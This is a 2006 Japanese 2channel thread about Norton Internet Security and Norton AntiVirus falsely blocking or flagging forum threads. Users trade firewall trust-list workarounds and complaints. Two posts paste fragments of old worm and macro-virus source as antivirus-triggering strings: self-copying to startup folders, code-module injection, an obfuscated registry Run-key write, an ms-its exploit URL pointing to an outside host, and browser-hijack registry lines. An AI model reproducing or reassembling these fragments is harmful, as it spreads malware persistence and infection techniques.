ノートン誤作動対策本部

**動け動けウゴウゴ２ちゃんねる** · 2005/11/28(月) 16:08:40

詳細: 侵入を検出して遮断しました。 news19.2ch.net(206.223.151.67) とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくはシマンテック･セキュリティ･レスポンス

**動け動けウゴウゴ２ちゃんねる** · 2006/06/25(日) 19:23:07

ちと

**動け動けウゴウゴ２ちゃんねる** · 2006/06/25(日) 19:25:22

失

**動け動けウゴウゴ２ちゃんねる** · 2006/06/25(日) 19:27:52

例

**動け動けウゴウゴ２ちゃんねる** · 2006/06/25(日) 19:30:03

礼、だな

**動け動けウゴウゴ２ちゃんねる** · 2006/06/25(日) 19:32:09

じゃ

**動け動けウゴウゴ２ちゃんねる** · 2006/06/25(日) 20:40:15

NIS2005の場合(多分NIS2006も同じ)
タスクトレイのNISアイコンを左クリック＞「Norton Internet Securityを開く」
NISが開いたら、左側の一覧から「Norton Internet Security」を選ぶ
システムの状態一覧から「ファイアーウォール」を選ぶ
左下にある「設定」ボタンを選ぶ
「ネットワーク」タブを選ぶ
「信頼」タブを選ぶ
「追加」を選ぶ
「個別」を選ぶ
アドレスに以下の数字の塊を一行でコピペする　　　←　ここで、コピペができません。どうしたらいいですか？

**動け動けウゴウゴ２ちゃんねる** · 2006/06/25(日) 20:42:43

どうせ右クリ効かないとかだろ
初心者板行けと言いたいところだがctrl+v

**動け動けウゴウゴ２ちゃんねる** · 2006/06/25(日) 20:45:26

>>937
できました。　ありがとうございました。

**動け動けウゴウゴ２ちゃんねる** · 2006/06/26(月) 23:19:03

とあるスレ一覧更新したら「ＷＳcript.KakWorm」の警告がでます
どうやって誤検知除外したらいいのでしょうか？

**動け動けウゴウゴ２ちゃんねる** · 2006/06/27(火) 09:46:13

つーか、例の構文貼られても遮断しなくなった。
ノートン側が折れて対応したって事なのか？

**動け動けウゴウゴ２ちゃんねる** · 2006/06/27(火) 13:32:56

早とちり。しっかり遮断されますた。

NIS2006はIPリスト入力にコピペが使用できない糞仕様だから
http://mickey.mirv.net/2chnis.html
のIPリストを
http://www.vector.co.jp/soft/win95/util/se203480.html
でぶち込むのが楽。

**動け動けウゴウゴ２ちゃんねる** · 2006/06/27(火) 14:03:31

コピ　Ctrl + C
ペ　　Ctrl + V

**動け動けウゴウゴ２ちゃんねる** · 2006/06/27(火) 19:16:53

ノー㌧を使うには10年早かったようです

**ベースボール** · 2006/06/27(火) 23:48:05

ノー㌧使うころには　てめえら死んでんだろ

**動け動けウゴウゴ２ちゃんねる** · 2006/06/30(金) 05:12:55

⊂二二二（　＾ω＾）二⊃ﾌﾞｰﾝ

**動け動けウゴウゴ２ちゃんねる** · 2006/07/01(土) 17:16:01

ttp://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
のノートン緊急対策を見て、アドレスに大量のＩＰアドレスを貼って、これで大丈夫だと思ったら、
芸スポの中田のスレで、またウィルス貼られてるし。
でも前と違って、他のスレは全部すぐ読める。前は30分遮断されたけど。
これは別の種類のなんちゃってウィルスかな？もうどうしたらいいかわからん。
次々といろんなコード貼るから、疲れる・・・

**動け動けウゴウゴ２ちゃんねる** · 2006/07/01(土) 22:26:46

さっきから同じファイルばっかり表示して感染してる感染してるってノートンが騒いで
ます。まじめにうざいので黙らせる方法を教えてください。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/01(土) 22:29:18

投げｓ

**動け動けウゴウゴ２ちゃんねる** · 2006/07/01(土) 22:40:44

そういえば。この間延長キーを購入したんですが、支払って二週間たっても延長キー
とやらが添付されたメールが届かないんですよ。ウイルスバスターとかも
こんなもんなの？

**動け動けウゴウゴ２ちゃんねる** · 2006/07/01(土) 23:27:31

>>910
すみません。便乗質問になってしまいますが。

最近NAV2004からNIS2006に切り替えたので、>>910 の設定を見かけて
ついでにやっておこうと思ったのですが、
「インターネットワーム防止」と言う項目が見つかりません。
これはNAVパッケージにしかない項目なのでしょうか。
NISの場合は何処を設定すると良いのでしょうか。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/01(土) 23:40:32

ログ読めばわかるだろ

**動け動けウゴウゴ２ちゃんねる** · 2006/07/01(土) 23:44:51

>>950
つ【NISでスレ内検索】

**動け動けウゴウゴ２ちゃんねる** · 2006/07/01(土) 23:56:56

>>951,952

ありがとうございます。
「インターネットワーム防止」だけで検索していたのでは見つかりませんね。
「NIS」検索で見つかりました。
>>842の方法で、つまりNISでは「インターネットワーム防止」を設定ではなくて、
http://mickey.mirv.net/2chnis.html のIP一覧を追加する、ですね。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/03(月) 02:04:02

NGワードに追加してもNGワードの.txtが削除される・・・

**名無しさんの助言** ◆JogenOuJ66 · 2006/07/03(月) 22:00:11

専用ブラウザのフォルダ丸ごと監視対象から外す、これ最短。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/04(火) 12:44:52

>>1と同じ状態になってるんだけどどうすればいいの･･･

**動け動けウゴウゴ２ちゃんねる** · 2006/07/04(火) 13:19:50

>>956
1.このスレを最初から読む
2.Nortonの使用をやめる
お好きな方をどうぞ

**御法川将貴** · 2006/07/04(火) 23:58:50

名無しさんの助言は　今すぐ立ち去れ

**御法川将貴** · 2006/07/05(水) 21:12:56

変態熊本県民が　万引きしたぞー

**動け動けウゴウゴ２ちゃんねる** · 2006/07/08(土) 10:08:59

ためしにNAVの設定元に戻してみたら
引っかからなくなってるような。（<body onload=w****w()>）
シマンテックが対策した？
NISはもってないからわからんけど。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/08(土) 13:54:58

その書き込み何度みたことか・・・

**動け動けウゴウゴ２ちゃんねる** · 2006/07/08(土) 14:33:46

その都度自分で試して設定やりなおす俺

**960** · 2006/07/09(日) 00:04:04

vbsウイルスのソースじゃなくて侵入を検出して遮断しました、の
やつだよ。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 05:10:45

>>963
してないよ

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 05:25:13

>>963
このｳｿﾂｷ！！

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 09:18:36

もう頭悪いからノー㌧の設定ができない。
自分の常連のスレ片っ端から張られてｷﾞｺだめだし、
IEで見るようになった。
もう更新やめて別のアンチウィルスソフトにするかな。
それまで我慢してだ。
でもシマンテックの客が減るよな～。

**960** · 2006/07/09(日) 09:34:50

>>965
ってか
このスレは侵入を検出して遮断しました用のスレだと思ってた。
vbsウイルスのソースに誤反応、のスレは他にあるし。。

**960** · 2006/07/09(日) 09:58:03

あ、レス読み違えたｽﾏｿ
うちでは何故かnavの設定戻して一度も開いたことないスレのログ取ってみても再現しない。
nav2005です。vbsウイルス用のフォルダ除外の設定はそのまま。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 11:57:57

>>968
だってNAVが誤反応してるわけじゃないもの。
侵入検知はファイアーウォールのお仕事でしょ。

**960** · 2006/07/09(日) 14:37:40

>>969
>>687以降参照。
NISだけの現象なら始めからこのスレにくることもなかったわけだが。。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 14:39:36

まあとにかくNIS2004だと相変わらず反応するわけだ

**960** · 2006/07/09(日) 15:08:39

>>971 ﾚｽthx
ログビューアみてたらワーム検出の監視ログが変なのに気づいた。

詳細: インターネットワーム保護が 0 個のシグネチャを監視しています。

になってる。全部監視OFF状態になってすり抜けてるだけかも。
確実にインターネットワーム防止をチェックしてるんだけど。。
とりあえずHTTP MSIE JavaScript OnLoad Rte CodeExecのみﾁｪｯｸ外した状態なら

詳細: インターネットワーム保護が 568 個のシグネチャを監視しています。

になるようなのでそうしておきます。

**960** · 2006/07/09(日) 15:36:17

連投すまそ、
いろいろいじっても 0 個のシグネチャを監視していますから変わらなくなってしまった
こんなことに時間割くのは無駄だし更新ｻｰﾋﾞｽ買うのはやめようと思います･･･orz

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 19:43:03

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？？

**動け動けウゴウゴ２ちゃんねる** · 2006/07/11(火) 20:28:47

今まで>>974みたいのを専ブラでNGワードに指定していたら、
難なく見ることができていました。
ところが、なぜか今は見られません。
現在も専ブラ上ではｱﾎﾞｰｿされているのですが、やっぱり見ることができません。
何かあったのでしょうか？
やっぱり誤作動なのでしょうか？

ちなみに今はノートンを無効にしています。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/12(水) 02:08:08

専ブラったっていろいろあるから
NGワードの処理の仕方も同じじゃない

**動け動けウゴウゴ２ちゃんねる** · 2006/07/12(水) 09:33:42

専ブラは変えてないなら
誤作動する文字列の種類が違うんでしょう。
おおまかに分けると誤反応には現状３種類ある（含シリア語ブラクラ）

**動け動けウゴウゴ２ちゃんねる** · 2006/07/12(水) 18:52:17

シリア語ブラクラでノートンが誤反応するのか？？

**977** · 2006/07/12(水) 20:53:52

ごめん、シリア語ブラクラはノートンとは関係ないね。
最近ノートントラップと一緒に貼ってあったりするので混同してしまった。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/16(日) 22:37:21

t2.WriteLine('"Search Bar"="http://www.jethomepage.com/search.htm";');
t2.WriteLine('"Default_Search_URL"="http://www.jethomepage.com/search.htm";');
t2.WriteLine('"Search Page"="http://www.jethomepage.com/search.htm";');

strMsg= " ) (" & vbcrlf
strMsg= strMsg & "( ) ( ) " & vbcrlf
strMsg= strMsg & " ( ) ( )" & vbcrlf
strMsg= strMsg & " ( ) ( )" & vbcrlf
strMsg= strMsg & " -------------------------" & vbcrlf
strMsg= strMsg & " / ( ( ( /\" & vbcrlf
strMsg= strMsg & " / ( / \" & vbcrlf
strMsg= strMsg & " / ( ( / \" & vbcrlf
strMsg= strMsg & " --------------------------------" & vbcrlf
strMsg= strMsg & " | --- | |" & vbcrlf
strMsg= strMsg & " | ----- | | | |" & vbcrlf
strMsg= strMsg & " | | | --- | |" & vbcrlf
strMsg= strMsg & " | | | | |" & vbcrlf
strMsg= strMsg & " --------------------------------" & vbcrlf

strMsg= strMsg & "Mawanella is one of the Sri Lanka's Muslim Village." & vbcrlf
strMsg= strMsg & "This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt." & vbcrlf
strMsg= strMsg & "I hat this incident, What about you? I can destroy your computer" & vbcrlf
strMsg= strMsg & "I didn't do that because I am a peace-loving citizen."

**動け動けウゴウゴ２ちゃんねる** · 2006/07/19(水) 12:50:11